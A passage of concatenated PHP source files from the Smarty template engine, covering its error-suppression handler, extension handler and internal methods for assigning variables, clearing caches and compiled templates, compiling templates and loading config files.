                '/^(Attempt to read property "value" on null|Trying to get property (\'value\' )?of non-object)/',
                $errstr
            )) {
            return; // suppresses this error
        }

        if ($this->allowUndefinedProperties && preg_match(
                '/^(Undefined property)/',
                $errstr
            )) {
            return; // suppresses this error
        }

        if ($this->allowUndefinedArrayKeys && preg_match(
            '/^(Undefined index|Undefined array key|Trying to access array offset on)/',
            $errstr
        )) {
            return; // suppresses this error
        }

        if ($this->allowDereferencingNonObjects && preg_match(
                '/^Attempt to read property ".+?" on/',
                $errstr
            )) {
            return; // suppresses this error
        }

        // pass all other errors through to the previous error handler or to the default PHP error handler
        return $this->previousErrorHandler ?
            call_user_func($this->previousErrorHandler, $errno, $errstr, $errfile, $errline, $errcontext) : false;
    }
}
<?php

/**
 * Smarty Extension handler
 *
 * Load extensions dynamically
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 *
 * Runtime extensions
 * @property   Smarty_Internal_Runtime_CacheModify       $_cacheModify
 * @property   Smarty_Internal_Runtime_CacheResourceFile $_cacheResourceFile
 * @property   Smarty_Internal_Runtime_Capture           $_capture
 * @property   Smarty_Internal_Runtime_CodeFrame         $_codeFrame
 * @property   Smarty_Internal_Runtime_FilterHandler     $_filterHandler
 * @property   Smarty_Internal_Runtime_Foreach           $_foreach
 * @property   Smarty_Internal_Runtime_GetIncludePath    $_getIncludePath
 * @property   Smarty_Internal_Runtime_Make_Nocache      $_make_nocache
 * @property   Smarty_Internal_Runtime_UpdateCache       $_updateCache
 * @property   Smarty_Internal_Runtime_UpdateScope       $_updateScope
 * @property   Smarty_Internal_Runtime_TplFunction       $_tplFunction
 * @property   Smarty_Internal_Runtime_WriteFile         $_writeFile
 *
 * Method extensions
 * @property   Smarty_Internal_Method_GetTemplateVars    $getTemplateVars
 * @property   Smarty_Internal_Method_Append             $append
 * @property   Smarty_Internal_Method_AppendByRef        $appendByRef
 * @property   Smarty_Internal_Method_AssignGlobal       $assignGlobal
 * @property   Smarty_Internal_Method_AssignByRef        $assignByRef
 * @property   Smarty_Internal_Method_LoadFilter         $loadFilter
 * @property   Smarty_Internal_Method_LoadPlugin         $loadPlugin
 * @property   Smarty_Internal_Method_RegisterFilter     $registerFilter
 * @property   Smarty_Internal_Method_RegisterObject     $registerObject
 * @property   Smarty_Internal_Method_RegisterPlugin     $registerPlugin
 * @property   mixed|\Smarty_Template_Cached             configLoad
 */
#[\AllowDynamicProperties]
class Smarty_Internal_Extension_Handler
{
    public $objType = null;

    /**
     * Cache for property information from generic getter/setter
     * Preloaded with names which should not use with generic getter/setter
     *
     * @var array
     */
    private $_property_info     = array(
        'AutoloadFilters' => 0, 'DefaultModifiers' => 0, 'ConfigVars' => 0,
        'DebugTemplate'   => 0, 'RegisteredObject' => 0, 'StreamVariable' => 0,
        'TemplateVars'    => 0, 'Literals' => 'Literals',
    );//

    private $resolvedProperties = array();

    /**
     * Call external Method
     *
     * @param \Smarty_Internal_Data $data
     * @param string                $name external method names
     * @param array                 $args argument array
     *
     * @return mixed
     */
    public function _callExternalMethod(Smarty_Internal_Data $data, $name, $args)
    {
        /* @var Smarty $data ->smarty */
        $smarty = isset($data->smarty) ? $data->smarty : $data;
        if (!isset($smarty->ext->$name)) {
            if (preg_match('/^((set|get)|(.*?))([A-Z].*)$/', $name, $match)) {
                $basename = $this->upperCase($match[ 4 ]);
                if (!isset($smarty->ext->$basename) && isset($this->_property_info[ $basename ])
                    && is_string($this->_property_info[ $basename ])
                ) {
                    $class = 'Smarty_Internal_Method_' . $this->_property_info[ $basename ];
                    if (class_exists($class)) {
                        $classObj = new $class();
                        $methodes = get_class_methods($classObj);
                        foreach ($methodes as $method) {
                            $smarty->ext->$method = $classObj;
                        }
                    }
                }
                if (!empty($match[ 2 ]) && !isset($smarty->ext->$name)) {
                    $class = 'Smarty_Internal_Method_' . $this->upperCase($name);
                    if (!class_exists($class)) {
                        $objType = $data->_objType;
                        $propertyType = false;
                        if (!isset($this->resolvedProperties[ $match[ 0 ] ][ $objType ])) {
                            $property = $this->resolvedProperties['property'][$basename] ??
                                $this->resolvedProperties['property'][$basename] = smarty_strtolower_ascii(
                                join(
                                    '_',
                                    preg_split(
                                        '/([A-Z][^A-Z]*)/',
                                        $basename,
                                        -1,
                                        PREG_SPLIT_NO_EMPTY |
                                        PREG_SPLIT_DELIM_CAPTURE
                                    )
                                )
                            );
                            if ($property !== false) {
                                if (property_exists($data, $property)) {
                                    $propertyType = $this->resolvedProperties[ $match[ 0 ] ][ $objType ] = 1;
                                } elseif (property_exists($smarty, $property)) {
                                    $propertyType = $this->resolvedProperties[ $match[ 0 ] ][ $objType ] = 2;
                                } else {
                                    $this->resolvedProperties[ 'property' ][ $basename ] = $property = false;
                                }
                            }
                        } else {
                            $propertyType = $this->resolvedProperties[ $match[ 0 ] ][ $objType ];
                            $property = $this->resolvedProperties[ 'property' ][ $basename ];
                        }
                        if ($propertyType) {
                            $obj = $propertyType === 1 ? $data : $smarty;
                            if ($match[ 2 ] === 'get') {
                                return $obj->$property;
                            } elseif ($match[ 2 ] === 'set') {
                                return $obj->$property = $args[ 0 ];
                            }
                        }
                    }
                }
            }
        }
        $callback = array($smarty->ext->$name, $name);
        array_unshift($args, $data);
        if (isset($callback) && $callback[ 0 ]->objMap | $data->_objType) {
            return call_user_func_array($callback, $args);
        }
        return call_user_func_array(array(new Smarty_Internal_Undefined(), $name), $args);
    }

    /**
     * Make first character of name parts upper case
     *
     * @param string $name
     *
     * @return string
     */
    public function upperCase($name)
    {
        $_name = explode('_', $name);
        $_name = array_map('smarty_ucfirst_ascii', $_name);
        return implode('_', $_name);
    }

    /**
     * get extension object
     *
     * @param string $property_name property name
     *
     * @return mixed|Smarty_Template_Cached
     */
    public function __get($property_name)
    {
        // object properties of runtime template extensions will start with '_'
        if ($property_name[ 0 ] === '_') {
            $class = 'Smarty_Internal_Runtime' . $this->upperCase($property_name);
        } else {
            $class = 'Smarty_Internal_Method_' . $this->upperCase($property_name);
        }
        if (!class_exists($class)) {
            return $this->$property_name = new Smarty_Internal_Undefined($class);
        }
        return $this->$property_name = new $class();
    }

    /**
     * set extension property
     *
     * @param string $property_name property name
     * @param mixed  $value         value
     *
     */
    public function __set($property_name, $value)
    {
        $this->$property_name = $value;
    }

    /**
     * Call error handler for undefined method
     *
     * @param string $name unknown method-name
     * @param array  $args argument array
     *
     * @return mixed
     */
    public function __call($name, $args)
    {
        return call_user_func_array(array(new Smarty_Internal_Undefined(), $name), array($this));
    }
}
<?php

/**
 * Smarty Method AddAutoloadFilters
 *
 * Smarty::addAutoloadFilters() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_AddAutoloadFilters extends Smarty_Internal_Method_SetAutoloadFilters
{
    /**
     * Add autoload filters
     *
     * @api Smarty::setAutoloadFilters()
     *
     * @param \Smarty_Internal_TemplateBase|\Smarty_Internal_Template|\Smarty $obj
     * @param array                                                           $filters filters to load automatically
     * @param string                                                          $type    "pre", "output", … specify
     *                                                                                 the filter type to set.
     *                                                                                 Defaults to none treating
     *                                                                                 $filters' keys as the
     *                                                                                 appropriate types
     *
     * @return \Smarty|\Smarty_Internal_Template
     * @throws \SmartyException
     */
    public function addAutoloadFilters(Smarty_Internal_TemplateBase $obj, $filters, $type = null)
    {
        $smarty = $obj->_getSmartyObj();
        if ($type !== null) {
            $this->_checkFilterType($type);
            if (!empty($smarty->autoload_filters[ $type ])) {
                $smarty->autoload_filters[ $type ] = array_merge($smarty->autoload_filters[ $type ], (array)$filters);
            } else {
                $smarty->autoload_filters[ $type ] = (array)$filters;
            }
        } else {
            foreach ((array)$filters as $type => $value) {
                $this->_checkFilterType($type);
                if (!empty($smarty->autoload_filters[ $type ])) {
                    $smarty->autoload_filters[ $type ] =
                        array_merge($smarty->autoload_filters[ $type ], (array)$value);
                } else {
                    $smarty->autoload_filters[ $type ] = (array)$value;
                }
            }
        }
        return $obj;
    }
}
<?php

/**
 * Smarty Method AddDefaultModifiers
 *
 * Smarty::addDefaultModifiers() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_AddDefaultModifiers
{
    /**
     * Valid for Smarty and template object
     *
     * @var int
     */
    public $objMap = 3;

    /**
     * Add default modifiers
     *
     * @api Smarty::addDefaultModifiers()
     *
     * @param \Smarty_Internal_TemplateBase|\Smarty_Internal_Template|\Smarty $obj
     * @param array|string                                                    $modifiers modifier or list of modifiers
     *                                                                                   to add
     *
     * @return \Smarty|\Smarty_Internal_Template
     */
    public function addDefaultModifiers(Smarty_Internal_TemplateBase $obj, $modifiers)
    {
        $smarty = $obj->_getSmartyObj();
        if (is_array($modifiers)) {
            $smarty->default_modifiers = array_merge($smarty->default_modifiers, $modifiers);
        } else {
            $smarty->default_modifiers[] = $modifiers;
        }
        return $obj;
    }
}
<?php

/**
 * Smarty Method Append
 *
 * Smarty::append() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_Append
{
    /**
     * Valid for all objects
     *
     * @var int
     */
    public $objMap = 7;

    /**
     * appends values to template variables
     *
     * @api  Smarty::append()
     * @link https://www.smarty.net/docs/en/api.append.tpl
     *
     * @param \Smarty_Internal_Data|\Smarty_Internal_Template|\Smarty $data
     * @param array|string                                            $tpl_var the template variable name(s)
     * @param mixed                                                   $value   the value to append
     * @param bool                                                    $merge   flag if array elements shall be merged
     * @param bool                                                    $nocache if true any output of this variable will
     *                                                                         be not cached
     *
     * @return \Smarty_Internal_Data|\Smarty_Internal_Template|\Smarty
     */
    public function append(Smarty_Internal_Data $data, $tpl_var, $value = null, $merge = false, $nocache = false)
    {
        if (is_array($tpl_var)) {
            // $tpl_var is an array, ignore $value
            foreach ($tpl_var as $_key => $_val) {
                if ($_key !== '') {
                    $this->append($data, $_key, $_val, $merge, $nocache);
                }
            }
        } else {
            if ($tpl_var !== '' && isset($value)) {
                if (!isset($data->tpl_vars[ $tpl_var ])) {
                    $tpl_var_inst = $data->ext->getTemplateVars->_getVariable($data, $tpl_var, null, true, false);
                    if ($tpl_var_inst instanceof Smarty_Undefined_Variable) {
                        $data->tpl_vars[ $tpl_var ] = new Smarty_Variable(null, $nocache);
                    } else {
                        $data->tpl_vars[ $tpl_var ] = clone $tpl_var_inst;
                    }
                }
                if (!(is_array($data->tpl_vars[ $tpl_var ]->value)
                      || $data->tpl_vars[ $tpl_var ]->value instanceof ArrayAccess)
                ) {
                    settype($data->tpl_vars[ $tpl_var ]->value, 'array');
                }
                if ($merge && is_array($value)) {
                    foreach ($value as $_mkey => $_mval) {
                        $data->tpl_vars[ $tpl_var ]->value[ $_mkey ] = $_mval;
                    }
                } else {
                    $data->tpl_vars[ $tpl_var ]->value[] = $value;
                }
            }
            if ($data->_isTplObj() && $data->scope) {
                $data->ext->_updateScope->_updateScope($data, $tpl_var);
            }
        }
        return $data;
    }
}
<?php

/**
 * Smarty Method AppendByRef
 *
 * Smarty::appendByRef() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_AppendByRef
{
    /**
     * appends values to template variables by reference
     *
     * @api  Smarty::appendByRef()
     * @link https://www.smarty.net/docs/en/api.append.by.ref.tpl
     *
     * @param \Smarty_Internal_Data|\Smarty_Internal_Template|\Smarty $data
     * @param string                                                  $tpl_var the template variable name
     * @param mixed                                                   &$value  the referenced value to append
     * @param bool                                                    $merge   flag if array elements shall be merged
     *
     * @return \Smarty_Internal_Data|\Smarty_Internal_Template|\Smarty
     */
    public static function appendByRef(Smarty_Internal_Data $data, $tpl_var, &$value, $merge = false)
    {
        if ($tpl_var !== '' && isset($value)) {
            if (!isset($data->tpl_vars[ $tpl_var ])) {
                $data->tpl_vars[ $tpl_var ] = new Smarty_Variable();
            }
            if (!is_array($data->tpl_vars[ $tpl_var ]->value)) {
                settype($data->tpl_vars[ $tpl_var ]->value, 'array');
            }
            if ($merge && is_array($value)) {
                foreach ($value as $_key => $_val) {
                    $data->tpl_vars[ $tpl_var ]->value[ $_key ] = &$value[ $_key ];
                }
            } else {
                $data->tpl_vars[ $tpl_var ]->value[] = &$value;
            }
            if ($data->_isTplObj() && $data->scope) {
                $data->ext->_updateScope->_updateScope($data, $tpl_var);
            }
        }
        return $data;
    }
}
<?php

/**
 * Smarty Method AssignByRef
 *
 * Smarty::assignByRef() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_AssignByRef
{
    /**
     * assigns values to template variables by reference
     *
     * @param \Smarty_Internal_Data|\Smarty_Internal_Template|\Smarty $data
     * @param string                                                  $tpl_var the template variable name
     * @param                                                         $value
     * @param boolean                                                 $nocache if true any output of this variable will
     *                                                                         be not cached
     *
     * @return \Smarty_Internal_Data|\Smarty_Internal_Template|\Smarty
     */
    public function assignByRef(Smarty_Internal_Data $data, $tpl_var, &$value, $nocache)
    {
        if ($tpl_var !== '') {
            $data->tpl_vars[ $tpl_var ] = new Smarty_Variable(null, $nocache);
            $data->tpl_vars[ $tpl_var ]->value = &$value;
            if ($data->_isTplObj() && $data->scope) {
                $data->ext->_updateScope->_updateScope($data, $tpl_var);
            }
        }
        return $data;
    }
}
<?php

/**
 * Smarty Method AssignGlobal
 *
 * Smarty::assignGlobal() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_AssignGlobal
{
    /**
     * Valid for all objects
     *
     * @var int
     */
    public $objMap = 7;

    /**
     * assigns a global Smarty variable
     *
     * @param \Smarty_Internal_Data|\Smarty_Internal_Template|\Smarty $data
     * @param string                                                  $varName the global variable name
     * @param mixed                                                   $value   the value to assign
     * @param boolean                                                 $nocache if true any output of this variable will
     *                                                                         be not cached
     *
     * @return \Smarty_Internal_Data|\Smarty_Internal_Template|\Smarty
     */
    public function assignGlobal(Smarty_Internal_Data $data, $varName, $value = null, $nocache = false)
    {
        if ($varName !== '') {
            Smarty::$global_tpl_vars[ $varName ] = new Smarty_Variable($value, $nocache);
            $ptr = $data;
            while ($ptr->_isTplObj()) {
                $ptr->tpl_vars[ $varName ] = clone Smarty::$global_tpl_vars[ $varName ];
                $ptr = $ptr->parent;
            }
        }
        return $data;
    }
}
<?php

/**
 * Smarty Method ClearAllAssign
 *
 * Smarty::clearAllAssign() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_ClearAllAssign
{
    /**
     * Valid for all objects
     *
     * @var int
     */
    public $objMap = 7;

    /**
     * clear all the assigned template variables.
     *
     * @api  Smarty::clearAllAssign()
     * @link https://www.smarty.net/docs/en/api.clear.all.assign.tpl
     *
     * @param \Smarty_Internal_Data|\Smarty_Internal_Template|\Smarty $data
     *
     * @return \Smarty_Internal_Data|\Smarty_Internal_Template|\Smarty
     */
    public function clearAllAssign(Smarty_Internal_Data $data)
    {
        $data->tpl_vars = array();
        return $data;
    }
}
<?php

/**
 * Smarty Method ClearAllCache
 *
 * Smarty::clearAllCache() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_ClearAllCache
{
    /**
     * Valid for Smarty object
     *
     * @var int
     */
    public $objMap = 1;

    /**
     * Empty cache folder
     *
     * @api  Smarty::clearAllCache()
     * @link https://www.smarty.net/docs/en/api.clear.all.cache.tpl
     *
     * @param \Smarty $smarty
     * @param integer $exp_time expiration time
     * @param string  $type     resource type
     *
     * @return int number of cache files deleted
     * @throws \SmartyException
     */
    public function clearAllCache(Smarty $smarty, $exp_time = null, $type = null)
    {
        $smarty->_clearTemplateCache();
        // load cache resource and call clearAll
        $_cache_resource = Smarty_CacheResource::load($smarty, $type);
        return $_cache_resource->clearAll($smarty, $exp_time);
    }
}
<?php

/**
 * Smarty Method ClearAssign
 *
 * Smarty::clearAssign() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_ClearAssign
{
    /**
     * Valid for all objects
     *
     * @var int
     */
    public $objMap = 7;

    /**
     * clear the given assigned template variable(s).
     *
     * @api  Smarty::clearAssign()
     * @link https://www.smarty.net/docs/en/api.clear.assign.tpl
     *
     * @param \Smarty_Internal_Data|\Smarty_Internal_Template|\Smarty $data
     * @param string|array                                            $tpl_var the template variable(s) to clear
     *
     * @return \Smarty_Internal_Data|\Smarty_Internal_Template|\Smarty
     */
    public function clearAssign(Smarty_Internal_Data $data, $tpl_var)
    {
        if (is_array($tpl_var)) {
            foreach ($tpl_var as $curr_var) {
                unset($data->tpl_vars[ $curr_var ]);
            }
        } else {
            unset($data->tpl_vars[ $tpl_var ]);
        }
        return $data;
    }
}
<?php

/**
 * Smarty Method ClearCache
 *
 * Smarty::clearCache() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_ClearCache
{
    /**
     * Valid for Smarty object
     *
     * @var int
     */
    public $objMap = 1;

    /**
     * Empty cache for a specific template
     *
     * @api  Smarty::clearCache()
     * @link https://www.smarty.net/docs/en/api.clear.cache.tpl
     *
     * @param \Smarty $smarty
     * @param string  $template_name template name
     * @param string  $cache_id      cache id
     * @param string  $compile_id    compile id
     * @param integer $exp_time      expiration time
     * @param string  $type          resource type
     *
     * @return int number of cache files deleted
     * @throws \SmartyException
     */
    public function clearCache(
        Smarty $smarty,
        $template_name,
        $cache_id = null,
        $compile_id = null,
        $exp_time = null,
        $type = null
    ) {
        $smarty->_clearTemplateCache();
        // load cache resource and call clear
        $_cache_resource = Smarty_CacheResource::load($smarty, $type);
        return $_cache_resource->clear($smarty, $template_name, $cache_id, $compile_id, $exp_time);
    }
}
<?php

/**
 * Smarty Method ClearCompiledTemplate
 *
 * Smarty::clearCompiledTemplate() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_ClearCompiledTemplate
{
    /**
     * Valid for Smarty object
     *
     * @var int
     */
    public $objMap = 1;

    /**
     * Delete compiled template file
     *
     * @api  Smarty::clearCompiledTemplate()
     * @link https://www.smarty.net/docs/en/api.clear.compiled.template.tpl
     *
     * @param \Smarty $smarty
     * @param string  $resource_name template name
     * @param string  $compile_id    compile id
     * @param integer $exp_time      expiration time
     *
     * @return int number of template files deleted
     * @throws \SmartyException
     */
    public function clearCompiledTemplate(Smarty $smarty, $resource_name = null, $compile_id = null, $exp_time = null)
    {
        // clear template objects cache
        $smarty->_clearTemplateCache();
        $_compile_dir = $smarty->getCompileDir();
        if ($_compile_dir === '/') { //We should never want to delete this!
            return 0;
        }
        $_compile_id = isset($compile_id) ? preg_replace('![^\w]+!', '_', $compile_id) : null;
        $_dir_sep = $smarty->use_sub_dirs ? DIRECTORY_SEPARATOR : '^';
        if (isset($resource_name)) {
            $_save_stat = $smarty->caching;
            $smarty->caching = Smarty::CACHING_OFF;
            /* @var Smarty_Internal_Template $tpl */
            $tpl = $smarty->createTemplate($resource_name);
            $smarty->caching = $_save_stat;
            if (!$tpl->source->handler->uncompiled && !$tpl->source->handler->recompiled && $tpl->source->exists) {
                $_resource_part_1 = basename(str_replace('^', DIRECTORY_SEPARATOR, $tpl->compiled->filepath));
                $_resource_part_1_length = strlen($_resource_part_1);
            } else {
                return 0;
            }
            $_resource_part_2 = str_replace('.php', '.cache.php', $_resource_part_1);
            $_resource_part_2_length = strlen($_resource_part_2);
        }
        $_dir = $_compile_dir;
        if ($smarty->use_sub_dirs && isset($_compile_id)) {
            $_dir .= $_compile_id . $_dir_sep;
        }
        if (isset($_compile_id)) {
            $_compile_id_part = $_compile_dir . $_compile_id . $_dir_sep;
            $_compile_id_part_length = strlen($_compile_id_part);
        }
        $_count = 0;
        try {
            $_compileDirs = new RecursiveDirectoryIterator($_dir);
            // NOTE: UnexpectedValueException thrown for PHP >= 5.3
        } catch (Exception $e) {
            return 0;
        }
        $_compile = new RecursiveIteratorIterator($_compileDirs, RecursiveIteratorIterator::CHILD_FIRST);
        foreach ($_compile as $_file) {
            if (substr(basename($_file->getPathname()), 0, 1) === '.') {
                continue;
            }
            $_filepath = (string)$_file;
            if ($_file->isDir()) {
                if (!$_compile->isDot()) {
                    // delete folder if empty
                    @rmdir($_file->getPathname());
                }
            } else {
                // delete only php files
                if (substr($_filepath, -4) !== '.php') {
                    continue;
                }
                $unlink = false;
                if ((!isset($_compile_id) ||
                     (isset($_filepath[ $_compile_id_part_length ]) &&
                      $a = !strncmp($_filepath, $_compile_id_part, $_compile_id_part_length)))
                    && (!isset($resource_name) || (isset($_filepath[ $_resource_part_1_length ])
                                                   && substr_compare(
                                                          $_filepath,
                                                          $_resource_part_1,
                                                          -$_resource_part_1_length,
                                                          $_resource_part_1_length
                                                      ) === 0) || (isset($_filepath[ $_resource_part_2_length ])
                                                                   && substr_compare(
                                                                          $_filepath,
                                                                          $_resource_part_2,
                                                                          -$_resource_part_2_length,
                                                                          $_resource_part_2_length
                                                                      ) === 0))
                ) {
                    if (isset($exp_time)) {
                        if (is_file($_filepath) && time() - filemtime($_filepath) >= $exp_time) {
                            $unlink = true;
                        }
                    } else {
                        $unlink = true;
                    }
                }
                if ($unlink && is_file($_filepath) && @unlink($_filepath)) {
                    $_count++;
                    if (function_exists('opcache_invalidate')
                        && (!function_exists('ini_get') || strlen(ini_get('opcache.restrict_api')) < 1)
                    ) {
                        opcache_invalidate($_filepath, true);
                    } elseif (function_exists('apc_delete_file')) {
                        apc_delete_file($_filepath);
                    }
                }
            }
        }
        return $_count;
    }
}
<?php

/**
 * Smarty Method ClearConfig
 *
 * Smarty::clearConfig() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_ClearConfig
{
    /**
     * Valid for all objects
     *
     * @var int
     */
    public $objMap = 7;

    /**
     * clear a single or all config variables
     *
     * @api  Smarty::clearConfig()
     * @link https://www.smarty.net/docs/en/api.clear.config.tpl
     *
     * @param \Smarty_Internal_Data|\Smarty_Internal_Template|\Smarty $data
     * @param string|null                                             $name variable name or null
     *
     * @return \Smarty_Internal_Data|\Smarty_Internal_Template|\Smarty
     */
    public function clearConfig(Smarty_Internal_Data $data, $name = null)
    {
        if (isset($name)) {
            unset($data->config_vars[ $name ]);
        } else {
            $data->config_vars = array();
        }
        return $data;
    }
}
<?php

/**
 * Smarty Method CompileAllConfig
 *
 * Smarty::compileAllConfig() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_CompileAllConfig extends Smarty_Internal_Method_CompileAllTemplates
{
    /**
     * Compile all config files
     *
     * @api Smarty::compileAllConfig()
     *
     * @param \Smarty $smarty        passed smarty object
     * @param string  $extension     file extension
     * @param bool    $force_compile force all to recompile
     * @param int     $time_limit
     * @param int     $max_errors
     *
     * @return int number of template files recompiled
     */
    public function compileAllConfig(
        Smarty $smarty,
        $extension = '.conf',
        $force_compile = false,
        $time_limit = 0,
        $max_errors = null
    ) {
        return $this->compileAll($smarty, $extension, $force_compile, $time_limit, $max_errors, true);
    }
}
<?php

/**
 * Smarty Method CompileAllTemplates
 *
 * Smarty::compileAllTemplates() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_CompileAllTemplates
{
    /**
     * Valid for Smarty object
     *
     * @var int
     */
    public $objMap = 1;

    /**
     * Compile all template files
     *
     * @api Smarty::compileAllTemplates()
     *
     * @param \Smarty $smarty        passed smarty object
     * @param string  $extension     file extension
     * @param bool    $force_compile force all to recompile
     * @param int     $time_limit
     * @param int     $max_errors
     *
     * @return integer number of template files recompiled
     */
    public function compileAllTemplates(
        Smarty $smarty,
        $extension = '.tpl',
        $force_compile = false,
        $time_limit = 0,
        $max_errors = null
    ) {
        return $this->compileAll($smarty, $extension, $force_compile, $time_limit, $max_errors);
    }

    /**
     * Compile all template or config files
     *
     * @param \Smarty $smarty
     * @param string  $extension     template file name extension
     * @param bool    $force_compile force all to recompile
     * @param int     $time_limit    set maximum execution time
     * @param int     $max_errors    set maximum allowed errors
     * @param bool    $isConfig      flag true if called for config files
     *
     * @return int number of template files compiled
     */
    protected function compileAll(
        Smarty $smarty,
        $extension,
        $force_compile,
        $time_limit,
        $max_errors,
        $isConfig = false
    ) {
        // switch off time limit
        if (function_exists('set_time_limit')) {
            @set_time_limit($time_limit);
        }
        $_count = 0;
        $_error_count = 0;
        $sourceDir = $isConfig ? $smarty->getConfigDir() : $smarty->getTemplateDir();
        // loop over array of source directories
        foreach ($sourceDir as $_dir) {
            $_dir_1 = new RecursiveDirectoryIterator(
                $_dir,
                defined('FilesystemIterator::FOLLOW_SYMLINKS') ?
                    FilesystemIterator::FOLLOW_SYMLINKS : 0
            );
            $_dir_2 = new RecursiveIteratorIterator($_dir_1);
            foreach ($_dir_2 as $_fileinfo) {
                $_file = $_fileinfo->getFilename();
                if (substr(basename($_fileinfo->getPathname()), 0, 1) === '.' || strpos($_file, '.svn') !== false) {
                    continue;
                }
                if (substr_compare($_file, $extension, -strlen($extension)) !== 0) {
                    continue;
                }
                if ($_fileinfo->getPath() !== substr($_dir, 0, -1)) {
                    $_file = substr($_fileinfo->getPath(), strlen($_dir)) . DIRECTORY_SEPARATOR . $_file;
                }
                echo "\n<br>", $_dir, '---', $_file;
                flush();
                $_start_time = microtime(true);
                $_smarty = clone $smarty;
                //
                $_smarty->_cache = array();
                $_smarty->ext = new Smarty_Internal_Extension_Handler();
                $_smarty->ext->objType = $_smarty->_objType;
                $_smarty->force_compile = $force_compile;
                try {
                    /* @var Smarty_Internal_Template $_tpl */
                    $_tpl = new $smarty->template_class($_file, $_smarty);
                    $_tpl->caching = Smarty::CACHING_OFF;
                    $_tpl->source =
                        $isConfig ? Smarty_Template_Config::load($_tpl) : Smarty_Template_Source::load($_tpl);
                    if ($_tpl->mustCompile()) {
                        $_tpl->compileTemplateSource();
                        $_count++;
                        echo ' compiled in  ', microtime(true) - $_start_time, ' seconds';
                        flush();
                    } else {
                        echo ' is up to date';
                        flush();
                    }
                } catch (Exception $e) {
                    echo "\n<br>        ------>Error: ", $e->getMessage(), "<br><br>\n";
                    $_error_count++;
                }
                // free memory
                unset($_tpl);
                $_smarty->_clearTemplateCache();
                if ($max_errors !== null && $_error_count === $max_errors) {
                    echo "\n<br><br>too many errors\n";
                    exit(1);
                }
            }
        }
        echo "\n<br>";
        return $_count;
    }
}
<?php

/**
 * Smarty Method ConfigLoad
 *
 * Smarty::configLoad() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_ConfigLoad
{
    /**
     * Valid for all objects
     *
     * @var int
     */
    public $objMap = 7;

    /**
     * load a config file, optionally load just selected sections
     *
     * @api  Smarty::configLoad()
     * @link https://www.smarty.net/docs/en/api.config.load.tpl
     *
     * @param \Smarty_Internal_Data|\Smarty_Internal_Template|\Smarty $data
     * @param string                                                  $config_file filename
     * @param mixed                                                   $sections    array of section names, single
     *                                                                             section or null
     *
     * @return \Smarty|\Smarty_Internal_Data|\Smarty_Internal_Template
     * @throws \Exception
     */
    public function configLoad(Smarty_Internal_Data $data, $config_file, $sections = null)
    {
        $this->_loadConfigFile($data, $config_file, $sections, null);
        return $data;
    }

    /**
     * load a config file, optionally load just selected sections
     *
     * @api  Smarty::configLoad()
     * @link https://www.smarty.net/docs/en/api.config.load.tpl
     *
     * @param \Smarty|\Smarty_Internal_Data|\Smarty_Internal_Template $data
     * @param string                                                  $config_file filename
     * @param mixed                                                   $sections    array of section names, single
     *                                                                             section or null
     * @param int                                                     $scope       scope into which config variables
     *                                                                             shall be loaded
     *
     * @throws \Exception
     */
    public function _loadConfigFile(Smarty_Internal_Data $data, $config_file, $sections = null, $scope = 0)
    {
        /* @var \Smarty $smarty */
        $smarty = $data->_getSmartyObj();
        /* @var \Smarty_Internal_Template $confObj */
        $confObj = new Smarty_Internal_Template($config_file, $smarty, $data, null, null, null, null, true);
        $confObj->caching = Smarty::CACHING_OFF;
        $confObj->source->config_sections = $sections;
        $confObj->source->scope = $scope;
        $confObj->compiled = Smarty_Template_Compiled::load($confObj);
        $confObj->compiled->render($confObj);
        if ($data->_isTplObj()) {
            $data->compiled->file_dependency[ $confObj->source->uid ] =
                array($confObj->source->filepath, $confObj->source->getTimeStamp(), $confObj->source->type);
        }
    }

    /**
     * load config variables into template object
     *
     * @param \Smarty_Internal_Template $tpl
     * @param array                     $new_config_vars
     */
    public function _loadConfigVars(Smarty_Internal_Template $tpl, $new_config_vars)
    {
        $this->_assignConfigVars($tpl->parent->config_vars, $tpl, $new_config_vars);
        $tagScope = $tpl->source->scope;
        if ($tagScope >= 0) {
            if ($tagScope === Smarty::SCOPE_LOCAL) {
                $this->_updateVarStack($tpl, $new_config_vars);
                $tagScope = 0;
                if (!$tpl->scope) {
                    return;
                }
            }
            if ($tpl->parent->_isTplObj() && ($tagScope || $tpl->parent->scope)) {
                $mergedScope = $tagScope | $tpl->scope;
                if ($mergedScope) {
                    // update scopes
                    /* @var \Smarty_Internal_Template|\Smarty|\Smarty_Internal_Data $ptr */
                    foreach ($tpl->smarty->ext->_updateScope->_getAffectedScopes($tpl->parent, $mergedScope) as $ptr) {
                        $this->_assignConfigVars($ptr->config_vars, $tpl, $new_config_vars);
                        if ($tagScope && $ptr->_isTplObj() && isset($tpl->_cache[ 'varStack' ])) {
                            $this->_updateVarStack($tpl, $new_config_vars);
                        }
                    }
                }
            }
        }
    }

    /**
     * Assign all config variables in given scope
     *
     * @param array                     $config_vars     config variables in scope
